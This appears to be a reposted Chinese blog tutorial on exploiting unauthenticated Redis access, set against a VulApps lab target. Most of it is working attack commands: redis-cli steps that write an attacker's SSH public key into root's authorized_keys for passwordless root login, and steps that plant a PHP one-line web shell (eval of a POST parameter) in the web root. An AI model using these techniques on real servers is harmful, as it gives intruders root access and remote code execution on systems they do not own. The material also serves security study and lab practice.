Redis未授权访问漏洞利用


0x00 测试环境

漏洞靶场:https://github.com/Medicean/VulApps/tree/master/r/redis/1
连接工具:https://redis.io/download 

0x01 测试是否存在未授权访问漏洞

使用redis-cli尝试连接目标6379端口
#./redis-cli -h 192.168.233.131 -p 6379    //6379为默认端口,这里映射为32773,如果存在弱口令,可以通过参数-a [password]连接

此时可以看到已连接成功

0x02 多姿势漏洞利用

姿势1:写入公钥,通过私钥免密连接

1、在本地/root/.ssh目录下生成rsa密钥对 //id_rsa私钥,连接时用;id_rsa.pub公钥,上传内容至目标服务器



2、通过redis命令,将公钥写入到目标服务器

> config set dir /root/.ssh/    //指定存放路径
> config set dbfilename "authorized_keys"    //指定上传的文件名
> set authorized_keys "公钥内容"    //将公钥写入到文件中,可略过这条命令
> save    //保存


3、使用ssh命令连接目标

# ssh root@192.168.233.131 -p 32774 -i ~/.ssh/id_rsa    //-i 指定私钥文件 ,这里提示需要密码的原因应该是authorized_keys文件权限过低(chmod 700 authorized_keys)

姿势2:若目标服务器有web服务,可直接写入一句话木马
> config set dir /var/www/html/
> config set dbfilename "1.php"
> set 1 "<?php eval($_POST[cmd]);?>"
> save
姿势3:写入定时计划任务反弹shell【待补充】


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM